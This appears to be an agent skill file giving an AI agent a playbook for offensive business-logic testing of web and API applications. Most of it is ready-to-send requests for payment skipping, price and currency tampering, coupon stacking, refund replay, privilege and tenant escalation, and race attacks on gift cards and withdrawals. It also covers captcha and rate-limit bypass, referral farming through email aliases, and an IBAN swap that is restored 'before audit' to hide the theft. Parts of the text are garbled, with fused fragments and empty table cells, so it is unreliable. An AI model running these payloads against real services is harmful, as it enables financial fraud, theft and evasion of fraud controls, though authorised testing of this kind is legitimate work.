Loading...
Loading...
Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
npx skill4agent add snailsploit/claude-red offensive-business-logiccartshippedpaidshippedcart# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) 'POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }pricepricetotaldiscounttaxshippingsubtotalcurrencyPOST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?POST /api/orders/123/refund { "amount": 99999 }POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / soldPUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before auditPOST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-winsPOST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's orderPUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data APIoffensive-toctouoffensive-race-condition# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.| Flow | Race |
|---|---|
| Coupon redemption | N parallel |
| 2FA verification | Submit code N times in parallel before lockout counter increments |
| Withdrawal | Parallel withdraws each see full balance |
| Vote / Like / Reaction | "One per user" check raced |
| Invitation acceptance | Multiple accepts → multiple seats granted |
| Free-trial signup | Parallel signups → multiple trials per email |
| Gift-card redeem | Parallel redeems → multi-spend a single card |
| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card| Bypass | Mechanic |
|---|---|
| Token reuse | One captcha solve, replay token across many requests |
| Endpoint mirror | |
| Header rotation | |
| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |
| Method/case variation | |
(userid, ip)userid# Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail
attacker@googlemail.com # gmail/googlemail equivalence
# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new installPOST /api/refer { "email": "a@x.com" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same personPUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cyclePOST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800X-Promo-Time100% offDay 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.